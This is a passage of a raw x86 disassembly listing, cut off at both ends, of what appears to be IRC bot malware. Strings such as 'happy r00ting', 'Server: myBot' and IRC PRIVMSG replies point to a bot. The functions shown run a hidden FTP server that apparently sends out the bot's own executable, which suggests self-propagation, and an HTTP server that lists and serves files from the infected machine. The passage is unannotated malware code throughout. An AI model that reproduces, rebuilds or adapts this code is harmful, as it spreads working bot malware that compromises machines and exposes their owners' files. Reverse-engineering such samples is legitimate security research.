eax, [ebp+var_C4] push eax movsb call sub_417AB0 pop ecx push eax lea eax, [ebp+var_C4] jmp short loc_4057A9 ; --------------------------------------------------------------------------- loc_4057FA: ; CODE XREF: sub_4053D5+3F9j lea eax, [ebp+var_AC] push offset aPort ; "PORT" push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_4058D0 lea eax, [ebp+var_2D0] push eax lea eax, [ebp+var_F8] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_29C] push offset aS ; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"... push eax call sub_418A52 lea eax, [ebp+var_F8] push eax call sub_41781F mov edi, eax lea eax, [ebp+var_2D0] push eax call sub_41781F mov [ebp+var_8], eax push 32h lea eax, [ebp+var_F8] push esi push eax call sub_417330 add esp, 34h lea eax, [ebp+var_F8] push [ebp+var_8] push edi push offset aXX ; "%x%x\n" push eax call sub_4172AE push 10h lea eax, [ebp+var_F8] push esi push eax call sub_418A3B add esp, 1Ch mov [ebp+var_8], eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_48] push offset aS_S_S_S ; "%s.%s.%s.%s" push eax call sub_4172AE add esp, 18h push esi push 1Dh push offset a200PortCommand ; "200 PORT command successful.\n" push [ebp+arg_0] call ebx ; send jmp loc_4057B1 ; --------------------------------------------------------------------------- loc_4058D0: ; CODE XREF: sub_4053D5+43Aj lea eax, [ebp+var_AC] push offset aRetr ; "RETR" push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_40598B push esi push 28h push offset a150OpeningBina ; "150 Opening BINARY mode data connection"... push edi call ebx ; send push [ebp+var_8] lea eax, [ebp+var_48] push eax call sub_4059DB pop ecx cmp eax, 1 pop ecx jnz short loc_405981 call sub_405A58 cmp eax, 1 jnz loc_4059AD push esi push 17h push offset a226TransferC_0 ; "226 Transfer complete.\n" push edi call ebx ; send lea eax, [ebp+var_6D8] push eax lea eax, [ebp+var_48] push dword_43C83C push eax lea eax, [ebp+var_8DC] push offset unk_42A128 push eax call sub_4172AE add esp, 14h cmp [ebp+var_440], esi jnz short loc_405972 push esi lea eax, [ebp+var_8DC] push [ebp+var_444] push eax lea eax, [ebp+var_4C4] push eax push [ebp+var_6DC] call sub_40D679 add esp, 14h loc_405972: ; CODE XREF: sub_4053D5+578j lea eax, [ebp+var_8DC] push eax call sub_40BF6D pop ecx jmp short loc_4059AD ; --------------------------------------------------------------------------- loc_405981: ; CODE XREF: sub_4053D5+532j push esi push 20h push offset a425CanTOpenDat ; "425 Can't open data connection.\n" jmp short loc_4059AA ; --------------------------------------------------------------------------- loc_40598B: ; CODE XREF: sub_4053D5+510j lea eax, [ebp+var_AC] push offset aQuit ; "QUIT" push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_4059AD push esi push 1Bh push offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n" loc_4059AA: ; CODE XREF: sub_4053D5+28Bj ; sub_4053D5+2AFj ... push edi call ebx ; send loc_4059AD: ; CODE XREF: sub_4053D5+3DFj ; sub_4053D5+53Cj ... push 64h lea eax, [ebp+var_29C] push esi push eax call sub_417330 add esp, 0Ch loc_4059BF: ; CODE XREF: sub_4053D5+1E0j ; sub_4053D5+247j inc edi cmp edi, [ebp+var_4] mov [ebp+arg_0], edi jle loc_405503 jmp loc_4054C8 ; --------------------------------------------------------------------------- loc_4059D1: ; CODE XREF: sub_4053D5+11Ej push 1 pop eax loc_4059D4: ; CODE XREF: sub_4053D5+D0j pop edi pop esi pop ebx leave retn 4 sub_4053D5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4059DB proc near ; CODE XREF: sub_4053D5+528p var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 1A0h lea eax, [ebp+var_1A0] push eax push 101h nop call near ptr 71AB41DAh push 0 push 1 push 2 call near ptr 71AB3C22h nop push [ebp+arg_0] mov dword_43C838, eax mov [ebp+var_10], 2 nop call near ptr 71AB12F8h push [ebp+arg_4] mov [ebp+var_C], eax nop call near ptr 71AB1746h mov [ebp+var_E], ax lea eax, [ebp+var_10] push 10h push eax push dword_43C838 nop call near ptr 71AB3E5Dh cmp eax, 0FFFFFFFFh jnz short loc_405A53 push dword_43C838 nop call near ptr 71AB1A6Dh nop call near ptr 71AB1836h xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_405A53: ; CODE XREF: sub_4059DB+60j push 1 pop eax leave retn sub_4059DB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405A58 proc near ; CODE XREF: sub_4053D5+534p var_504 = byte ptr -504h var_104 = byte ptr -104h push ebp mov ebp, esp sub esp, 504h push esi lea eax, [ebp+var_104] push 104h push eax push 0 nop call near ptr 2650000h lea eax, [ebp+var_104] push offset aRb ; "rb" push eax call sub_4179A8 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_405AEF test byte ptr [esi+0Ch], 10h jnz short loc_405AD3 push edi mov edi, 400h loc_405A9B: ; CODE XREF: sub_405A58+78j push esi push 1 lea eax, [ebp+var_504] push edi push eax call sub_418A86 add esp, 10h lea eax, [ebp+var_504] push 0 push edi push eax push dword_43C838 nop call near ptr 71AB1AF4h push 1 call near ptr 26004EDh nop test byte ptr [esi+0Ch], 10h jz short loc_405A9B pop edi loc_405AD3: ; CODE XREF: sub_405A58+3Bj push esi call sub_417900 pop ecx push dword_43C838 nop call near ptr 71AB1A6Dh nop call near ptr 71AB1836h push 1 pop eax loc_405AEF: ; CODE XREF: sub_405A58+35j pop esi leave retn sub_405A58 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405AF2 proc near ; DATA XREF: sub_407252+333o ; sub_40EE72+54E6o var_28F0 = byte ptr -28F0h var_18F0 = byte ptr -18F0h var_8F0 = byte ptr -8F0h var_6F0 = byte ptr -6F0h var_5EC = dword ptr -5ECh var_5E8 = byte ptr -5E8h var_360 = byte ptr -360h var_25C = dword ptr -25Ch var_254 = dword ptr -254h var_250 = dword ptr -250h var_24C = dword ptr -24Ch var_248 = dword ptr -248h var_23C = byte ptr -23Ch var_138 = dword ptr -138h var_134 = dword ptr -134h var_34 = byte ptr -34h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 28F0h call sub_417B30 mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_5EC] push 1 rep movsd pop esi xor ebx, ebx mov [eax+3ACh], esi push 10h lea eax, [ebp+var_24] push ebx push eax mov [ebp+var_14], esi call sub_417330 add esp, 0Ch mov [ebp+var_24], 2 push [ebp+var_25C] call dword_43F668 push ebx push esi push 2 mov [ebp+var_22], ax mov [ebp+var_20], ebx call dword_43F6E8 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_C], edi jz loc_405EDD mov eax, [ebp+var_254] push 10h imul eax, 234h mov dword_4450CC[eax], edi lea eax, [ebp+var_24] push eax push edi call dword_43F694 cmp eax, 0FFFFFFFFh jz loc_405EDD push 7FFFFFFFh push edi call dword_43F690 cmp eax, 0FFFFFFFFh jz loc_405EDD lea eax, [ebp+var_14] push eax push 8004667Eh push edi call dword_43F704 cmp eax, 0FFFFFFFFh jz loc_405EDD mov ebx, esi mov [ebp+var_134], edi mov [ebp+var_138], ebx mov [ebp+var_8], edi loc_405BC9: ; CODE XREF: sub_405AF2+3E1j push 41h xor eax, eax pop ecx lea esi, [ebp+var_138] push eax push eax push eax lea eax, [ebp+var_6F0] push eax mov eax, [ebp+var_8] lea edi, [ebp+var_6F0] inc eax rep movsd push eax call dword_43F650 cmp eax, 0FFFFFFFFh jz loc_405ED8 xor esi, esi mov [ebp+var_4], esi loc_405BFF: ; CODE XREF: sub_405AF2+3DBj lea eax, [ebp+var_6F0] push eax push esi call dword_43F560 test eax, eax jz loc_405EC3 cmp esi, [ebp+var_C] jnz short loc_405C81 lea eax, [ebp+var_10] mov [ebp+var_10], 10h push eax lea eax, [ebp+var_34] push eax push [ebp+var_C] call dword_43F6FC cmp eax, 0FFFFFFFFh jz loc_405EC3 xor ecx, ecx test ebx, ebx jbe short loc_405C53 lea edx, [ebp+var_134] loc_405C47: ; CODE XREF: sub_405AF2+15Fj cmp [edx], eax jz short loc_405C53 inc ecx add edx, 4 cmp ecx, ebx jb short loc_405C47 loc_405C53: ; CODE XREF: sub_405AF2+14Dj ; sub_405AF2+157j cmp ecx, ebx jnz short loc_405C70 cmp ebx, 40h jnb short loc_405C70 mov [ebp+ecx*4+var_134], eax mov ebx, [ebp+var_138] inc ebx mov [ebp+var_138], ebx loc_405C70: ; CODE XREF: sub_405AF2+163j ; sub_405AF2+168j cmp eax, [ebp+var_8] jbe loc_405EC3 mov [ebp+var_8], eax jmp loc_405EC3 ; --------------------------------------------------------------------------- loc_405C81: ; CODE XREF: sub_405AF2+126j mov edi, 1000h lea eax, [ebp+var_28F0] push edi push 0 push eax call sub_417330 push edi lea eax, [ebp+var_18F0] push 0 push eax call sub_417330 add esp, 18h lea eax, [ebp+var_28F0] push 0 push edi push eax push esi call dword_43F680 test eax, eax jg short loc_405D14 push esi call dword_43F700 xor ecx, ecx test ebx, ebx jbe loc_405EC3 lea eax, [ebp+var_134] loc_405CD3: ; CODE XREF: sub_405AF2+1EBj cmp [eax], esi jz short loc_405CE4 inc ecx add eax, 4 cmp ecx, ebx jb short loc_405CD3 jmp loc_405EC3 ; --------------------------------------------------------------------------- loc_405CE4: ; CODE XREF: sub_405AF2+1E3j lea eax, [ebx-1] cmp ecx, eax jnb short loc_405D08 lea eax, [ebp+ecx*4+var_134] loc_405CF2: ; CODE XREF: sub_405AF2+214j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp+var_138] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_405CF2 loc_405D08: ; CODE XREF: sub_405AF2+1F7j dec ebx mov [ebp+var_138], ebx jmp loc_405EC3 ; --------------------------------------------------------------------------- loc_405D14: ; CODE XREF: sub_405AF2+1C8j xor esi, esi push 104h lea eax, [ebp+var_23C] push esi push eax call sub_417330 lea eax, [ebp+var_28F0] mov [ebp+arg_0], esi push eax call sub_417AB0 add esp, 10h test eax, eax jbe loc_405EC3 loc_405D42: ; CODE XREF: sub_405AF2+309j mov eax, [ebp+arg_0] mov al, [ebp+eax+var_28F0] cmp al, 0Ah mov [ebp+esi+var_18F0], al jnz loc_405DE7 mov esi, offset aGet ; "GET " lea eax, [ebp+var_18F0] push esi push eax call sub_417880 pop ecx test eax, eax pop ecx jz short loc_405DBB lea eax, [ebp+var_18F0] push eax call sub_417AB0 cmp eax, 5 pop ecx jbe short loc_405DBB mov eax, offset asc_42A3B4 ; " " push eax push eax lea eax, [ebp+var_18F0] push esi push eax call sub_417880 pop ecx pop ecx push eax call sub_417880 pop ecx pop ecx push eax call sub_418B6E push eax lea eax, [ebp+var_23C] push eax call sub_4179C0 add esp, 10h jmp short loc_405DD2 ; --------------------------------------------------------------------------- loc_405DBB: ; CODE XREF: sub_405AF2+27Fj ; sub_405AF2+291j lea eax, [ebp+var_18F0] push offset asc_42A3B0 ; "\r\n" push eax call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_405E06 loc_405DD2: ; CODE XREF: sub_405AF2+2C7j push edi lea eax, [ebp+var_18F0] push 0 push eax call sub_417330 add esp, 0Ch or esi, 0FFFFFFFFh loc_405DE7: ; CODE XREF: sub_405AF2+263j inc [ebp+arg_0] lea eax, [ebp+var_28F0] push eax inc esi call sub_417AB0 cmp [ebp+arg_0], eax pop ecx jb loc_405D42 jmp loc_405EC3 ; --------------------------------------------------------------------------- loc_405E06: ; CODE XREF: sub_405AF2+2DEj xor ecx, ecx test ebx, ebx jbe short loc_405E50 lea eax, [ebp+var_134] loc_405E12: ; CODE XREF: sub_405AF2+32Dj mov esi, [ebp+var_4] cmp [eax], esi jz short loc_405E23 inc ecx add eax, 4 cmp ecx, ebx jb short loc_405E12 jmp short loc_405E53 ; --------------------------------------------------------------------------- loc_405E23: ; CODE XREF: sub_405AF2+325j lea eax, [ebx-1] cmp ecx, eax jnb short loc_405E47 lea eax, [ebp+ecx*4+var_134] loc_405E31: ; CODE XREF: sub_405AF2+353j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp+var_138] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_405E31 loc_405E47: ; CODE XREF: sub_405AF2+336j dec ebx mov [ebp+var_138], ebx jmp short loc_405E53 ; --------------------------------------------------------------------------- loc_405E50: ; CODE XREF: sub_405AF2+318j mov esi, [ebp+var_4] loc_405E53: ; CODE XREF: sub_405AF2+32Fj ; sub_405AF2+35Cj lea eax, [ebp+var_23C] test eax, eax jz short loc_405EBC lea eax, [ebp+var_360] push eax call sub_417AB0 mov edi, eax lea eax, [ebp+var_23C] push eax call sub_417AB0 add edi, eax pop ecx cmp edi, 104h pop ecx jnb short loc_405EBC and [ebp+arg_0], 0 lea eax, [ebp+arg_0] push eax push 8004667Eh push esi call dword_43F704 push [ebp+var_254] lea eax, [ebp+var_23C] push [ebp+var_248] push eax lea eax, [ebp+var_360] push eax push esi call sub_4060D0 add esp, 14h jmp short loc_405EC3 ; --------------------------------------------------------------------------- loc_405EBC: ; CODE XREF: sub_405AF2+369j ; sub_405AF2+38Fj push esi call dword_43F700 loc_405EC3: ; CODE XREF: sub_405AF2+11Dj ; sub_405AF2+143j ... mov esi, [ebp+var_4] inc esi cmp esi, [ebp+var_8] mov [ebp+var_4], esi jbe loc_405BFF jmp loc_405BC9 ; --------------------------------------------------------------------------- loc_405ED8: ; CODE XREF: sub_405AF2+102j mov edi, [ebp+var_C] xor ebx, ebx loc_405EDD: ; CODE XREF: sub_405AF2+6Aj ; sub_405AF2+92j ... call dword_43F5FC push eax lea eax, [ebp+var_8F0] push offset unk_42A36C push eax call sub_4172AE add esp, 0Ch cmp [ebp+var_24C], ebx jnz short loc_405F23 push ebx lea eax, [ebp+var_8F0] push [ebp+var_250] push eax lea eax, [ebp+var_5E8] push eax push [ebp+var_5EC] call sub_40D679 add esp, 14h loc_405F23: ; CODE XREF: sub_405AF2+40Cj lea eax, [ebp+var_8F0] push eax call sub_40BF6D pop ecx push edi call dword_43F700 push [ebp+var_254] call sub_417076 pop ecx push ebx nop call near ptr 25F0320h pop edi pop esi pop ebx sub_405AF2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405F4D proc near ; DATA XREF: sub_4060D0+24Do var_1654 = byte ptr -1654h var_654 = byte ptr -654h var_550 = byte ptr -550h var_44C = dword ptr -44Ch var_3C8 = byte ptr -3C8h var_2C4 = byte ptr -2C4h var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_A4 = dword ptr -0A4h var_9C = byte ptr -9Ch var_68 = byte ptr -68h var_20 = byte ptr -20h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1654h call sub_417B30 mov eax, [ebp+arg_0] push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_44C] rep movsd mov dword ptr [eax+3ACh], 1 lea eax, [ebp+var_3C8] push eax lea eax, [ebp+var_550] push eax call sub_4172AE pop ecx lea eax, [ebp+var_2C4] pop ecx push eax lea eax, [ebp+var_654] push eax call sub_4172AE xor edi, edi pop ecx cmp [ebp+var_A4], edi pop ecx jz short loc_405FB3 push offset aTextHtml ; "text/html" jmp short loc_405FB8 ; --------------------------------------------------------------------------- loc_405FB3: ; CODE XREF: sub_405F4D+5Dj push offset aApplicationOct ; "application/octet-stream" loc_405FB8: ; CODE XREF: sub_405F4D+64j lea eax, [ebp+var_9C] push eax call sub_4172AE pop ecx lea eax, [ebp+var_68] pop ecx mov esi, 409h push 46h push eax push offset aDddDdMmmYyyy ; "ddd, dd MMM yyyy" push edi push edi push esi nop call near ptr 2670000h lea eax, [ebp+var_20] push 1Eh push eax push offset aHhMmSs ; "HH:mm:ss" push edi push edi push esi nop call near ptr 2660000h lea eax, [ebp+var_20] cmp [ebp+var_B8], 0FFFFFFFFh push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax jnz short loc_406031 lea eax, [ebp+var_9C] push eax lea eax, [ebp+var_1654] push offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_4172AE add esp, 24h jmp short loc_406052 ; --------------------------------------------------------------------------- loc_406031: ; CODE XREF: sub_405F4D+C5j push [ebp+var_B8] lea eax, [ebp+var_9C] push eax lea eax, [ebp+var_1654] push offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_4172AE add esp, 28h loc_406052: ; CODE XREF: sub_405F4D+E2j lea eax, [ebp+var_1654] push edi push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_1654] push eax push [ebp+var_44C] call dword_43F6B8 cmp [ebp+var_A4], edi jnz short loc_406092 lea eax, [ebp+var_550] push eax push [ebp+var_44C] call sub_406A0D pop ecx pop ecx jmp short loc_4060AF ; --------------------------------------------------------------------------- loc_406092: ; CODE XREF: sub_405F4D+12Dj lea eax, [ebp+var_654] push eax push edi push [ebp+var_44C] lea eax, [ebp+var_550] push eax call sub_406387 add esp, 10h loc_4060AF: ; CODE XREF: sub_405F4D+143j push [ebp+var_44C] call dword_43F700 push [ebp+var_B4] call sub_417076 pop ecx push edi nop call near ptr 25F0320h pop edi pop esi sub_405F4D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4060D0 proc near ; CODE XREF: sub_405AF2+3C0p var_8C4 = byte ptr -8C4h var_6C4 = dword ptr -6C4h var_640 = byte ptr -640h var_53C = byte ptr -53Ch var_330 = dword ptr -330h var_32C = dword ptr -32Ch var_31C = dword ptr -31Ch var_318 = dword ptr -318h var_314 = byte ptr -314h var_211 = byte ptr -211h var_210 = byte ptr -210h var_10C = byte ptr -10Ch var_10B = byte ptr -10Bh var_10A = byte ptr -10Ah var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 8C4h push ebx push esi push edi xor edi, edi push 104h lea eax, [ebp+var_210] push edi push eax mov [ebp+var_4], edi call sub_417330 mov eax, [ebp+arg_8] add esp, 0Ch cmp byte ptr [eax], 2Fh jz short loc_406106 push eax push offset aS_2 ; "\\%s" jmp short loc_40610F ; --------------------------------------------------------------------------- loc_406106: ; CODE XREF: sub_4060D0+2Cj push eax mov byte ptr [eax], 5Ch push offset aS_1 ; "%s" loc_40610F: ; CODE XREF: sub_4060D0+34j lea eax, [ebp+var_10C] push eax call sub_4172AE add esp, 0Ch lea eax, [ebp+var_10C] xor esi, esi xor ebx, ebx push eax call sub_417AB0 test eax, eax pop ecx jbe short loc_4061AA mov [ebp+arg_8], 2 loc_40613A: ; CODE XREF: sub_4060D0+D8j lea eax, [ebp+var_10C] push eax call sub_417AB0 cmp [ebp+arg_8], eax pop ecx jnb short loc_40617A cmp [ebp+esi+var_10C], 25h jnz short loc_40617A cmp [ebp+esi+var_10B], 32h jnz short loc_40617A cmp [ebp+esi+var_10A], 30h jnz short loc_40617A inc esi mov [ebp+ebx+var_210], 20h inc esi add [ebp+arg_8], 2 jmp short loc_406194 ; --------------------------------------------------------------------------- loc_40617A: ; CODE XREF: sub_4060D0+7Aj ; sub_4060D0+84j ... mov al, [ebp+esi+var_10C] cmp al, 2Fh jnz short loc_40618A push 5Ch pop eax jmp short loc_40618D ; --------------------------------------------------------------------------- loc_40618A: ; CODE XREF: sub_4060D0+B3j movsx eax, al loc_40618D: ; CODE XREF: sub_4060D0+B8j mov [ebp+ebx+var_210], al loc_406194: ; CODE XREF: sub_4060D0+A8j lea eax, [ebp+var_10C] inc esi inc [ebp+arg_8] push eax inc ebx call sub_417AB0 cmp esi, eax pop ecx jb short loc_40613A loc_4061AA: ; CODE XREF: sub_4060D0+61j lea eax, [ebp+var_210] push eax lea eax, [ebp+var_314] push [ebp+arg_4] push offset aSS_2 ; "%s%s" push eax call sub_4172AE lea eax, [ebp+var_314] push offset asc_42A660 ; "\n" push eax call sub_418B6E add esp, 18h lea eax, [ebp+var_314] push eax call near ptr 268044Ah nop push 1 cmp eax, 10h pop esi jz short loc_4061FB cmp eax, 0FFFFFFFFh jnz short loc_4061FE push [ebp+arg_0] jmp loc_40627E ; --------------------------------------------------------------------------- loc_4061FB: ; CODE XREF: sub_4060D0+11Cj mov [ebp+var_4], esi loc_4061FE: ; CODE XREF: sub_4060D0+121j cmp [ebp+ebx+var_211], 5Ch jnz short loc_40620B mov [ebp+var_4], esi loc_40620B: ; CODE XREF: sub_4060D0+136j mov ebx, [ebp+arg_0] cmp [ebp+var_4], edi mov [ebp+var_6C4], ebx mov [ebp+var_318], edi jz short loc_406289 cmp [ebp+arg_C], edi jz short loc_40627D lea eax, [ebp+var_314] push offset asc_42A65C ; "*" push eax call sub_4179D0 pop ecx lea eax, [ebp+var_314] pop ecx push eax lea eax, [ebp+var_640] push eax call sub_4172AE lea eax, [ebp+var_210] push eax call sub_406ACA add esp, 0Ch lea eax, [ebp+var_210] push eax lea eax, [ebp+var_53C] push eax call sub_4172AE or [ebp+var_330], 0FFFFFFFFh pop ecx pop ecx mov [ebp+var_31C], esi jmp short loc_4062D8 ; --------------------------------------------------------------------------- loc_40627D: ; CODE XREF: sub_4060D0+152j push ebx loc_40627E: ; CODE XREF: sub_4060D0+126j call dword_43F700 jmp loc_406380 ; --------------------------------------------------------------------------- loc_406289: ; CODE XREF: sub_4060D0+14Dj push edi push edi push 3 push edi push esi lea eax, [ebp+var_314] push 80000000h push eax nop call near ptr 2640000h mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_4062D8 lea eax, [ebp+var_314] push eax lea eax, [ebp+var_640] push eax call sub_4172AE pop ecx mov [ebp+var_31C], edi pop ecx push edi push esi nop call near ptr 2680000h push esi mov [ebp+var_330], eax nop call near ptr 2621906h loc_4062D8: ; CODE XREF: sub_4060D0+1ABj ; sub_4060D0+1D6j mov esi, [ebp+arg_10] lea eax, [ebp+var_8C4] push esi push offset unk_42A61C push eax call sub_4172AE push edi lea eax, [ebp+var_8C4] push 3 push eax call sub_416D5A mov [ebp+var_32C], eax imul eax, 234h add esp, 18h mov dword_4450C4[eax], esi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_6C4] push edi push eax push offset sub_405F4D push edi push edi nop call near ptr 2670B28h mov ecx, [ebp+var_32C] imul ecx, 234h cmp eax, edi mov dword_4450D4[ecx], eax jz short loc_406352 loc_406340: ; CODE XREF: sub_4060D0+280j cmp [ebp+var_318], edi jnz short loc_406380 push 5 nop call near ptr 26004EDh jmp short loc_406340 ; --------------------------------------------------------------------------- loc_406352: ; CODE XREF: sub_4060D0+26Ej push ebx call dword_43F700 call near ptr 264030Ch nop push eax lea eax, [ebp+var_8C4] push offset unk_42A5D4 push eax call sub_4172AE lea eax, [ebp+var_8C4] push eax call sub_40BF6D add esp, 10h loc_406380: ; CODE XREF: sub_4060D0+1B4j ; sub_4060D0+276j pop edi pop esi xor eax, eax pop ebx leave retn sub_4060D0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406387 proc near ; CODE XREF: sub_405F4D+15Ap ; sub_40EE72+49C9p var_594 = byte ptr -594h var_490 = byte ptr -490h var_388 = dword ptr -388h var_374 = byte ptr -374h var_368 = dword ptr -368h var_35C = byte ptr -35Ch var_248 = byte ptr -248h var_48 = byte ptr -48h var_20 = byte ptr -20h var_18 = word ptr -18h var_16 = word ptr -16h var_12 = word ptr -12h var_10 = word ptr -10h var_E = word ptr -0Eh var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 594h push ebx push esi push edi xor ebx, ebx push 104h lea eax, [ebp+var_594] push ebx push eax mov [ebp+var_4], ebx mov [ebp+var_8], ebx call sub_417330 mov edi, [ebp+arg_0] push offset asc_42A660 ; "\n" push edi call sub_418B6E add esp, 14h cmp [ebp+arg_8], ebx jz short loc_4063E6 push edi mov esi, 200h push [ebp+arg_8] lea eax, [ebp+var_248] push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n" push esi push eax call sub_41782A add esp, 14h jmp loc_4064E5 ; --------------------------------------------------------------------------- loc_4063E6: ; CODE XREF: sub_406387+3Aj cmp [ebp+arg_C], ebx push edi jz loc_4064CB call sub_417AB0 pop ecx mov [eax+edi-1], bl push edi mov esi, 200h push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"... lea eax, [ebp+var_248] push esi push eax call sub_41782A add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43F6B8 push edi push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""... lea eax, [ebp+var_248] push esi push eax call sub_41782A add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43F6B8 push edi call sub_417AB0 pop ecx mov byte ptr [eax+edi], 2Ah push 3Ch push 96h push 0E6h push offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"... lea eax, [ebp+var_248] push esi push eax call sub_41782A add esp, 18h lea eax, [ebp+var_248] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43F6B8 push offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... lea eax, [ebp+var_248] push esi push eax call sub_41782A add esp, 0Ch jmp short loc_4064E5 ; --------------------------------------------------------------------------- loc_4064CB: ; CODE XREF: sub_406387+63j mov esi, 200h push offset aSearchingForS ; "Searching for: %s\r\n" lea eax, [ebp+var_248] push esi push eax call sub_41782A add esp, 10h loc_4064E5: ; CODE XREF: sub_406387+5Aj ; sub_406387+142j lea eax, [ebp+var_248] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43F6B8 cmp [ebp+arg_C], ebx jz short loc_406580 push [ebp+arg_C] call sub_417AB0 cmp eax, 2 pop ecx jbe short loc_406580 push [ebp+arg_C] call sub_417AB0 sub eax, 3 pop ecx jz short loc_406531 loc_406525: ; CODE XREF: sub_406387+1A8j mov ecx, [ebp+arg_C] cmp byte ptr [eax+ecx], 2Fh jz short loc_406531 dec eax jnz short loc_406525 loc_406531: ; CODE XREF: sub_406387+19Cj ; sub_406387+1A5j inc eax push eax lea eax, [ebp+var_594] push [ebp+arg_C] push eax call sub_418C10 add esp, 0Ch lea eax, [ebp+var_594] push eax push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"... lea eax, [ebp+var_248] push esi push eax call sub_41782A add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43F6B8 loc_406580: ; CODE XREF: sub_406387+180j ; sub_406387+18Ej lea eax, [ebp+var_388] push eax push edi nop call near ptr 26B0000h lea ecx, [ebp+var_388] mov [ebp+arg_0], eax push ecx push eax nop call near ptr 26A0000h test eax, eax jz loc_406970 mov edi, 1FFh loc_4065AC: ; CODE XREF: sub_406387+5E3j cmp [ebp+var_388], ebx jz loc_406958 lea eax, [ebp+var_35C] push offset a__ ; ".." push eax call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_406958 lea eax, [ebp+var_35C] push offset a_ ; "." push eax call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_406958 lea eax, [ebp+var_20] push eax lea eax, [ebp+var_374] push eax nop call near ptr 2690536h lea eax, [ebp+var_18] push eax lea eax, [ebp+var_20] push eax nop call near ptr 2690000h mov ax, [ebp+var_10] mov ecx, offset aPm ; "PM" cmp ax, 0Ch ja short loc_406621 mov ecx, offset aAm ; "AM" loc_406621: ; CODE XREF: sub_406387+293j cmp ax, 0Ch movzx eax, ax jbe short loc_40662D sub eax, 0Ch loc_40662D: ; CODE XREF: sub_406387+2A1j push ecx movzx ecx, [ebp+var_E] push ecx push eax movzx eax, [ebp+var_18] push eax movzx eax, [ebp+var_12] push eax movzx eax, [ebp+var_16] push eax lea eax, [ebp+var_48] push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s" push eax call sub_4172AE add esp, 20h test byte ptr [ebp+var_388], 10h jz loc_4067D0 inc [ebp+var_8] cmp [ebp+arg_8], ebx jz short loc_4066A1 lea eax, [ebp+var_35C] push eax push offset aS_0 ; "<%s>" lea eax, [ebp+var_490] push 106h push eax call sub_41782A add esp, 10h lea eax, 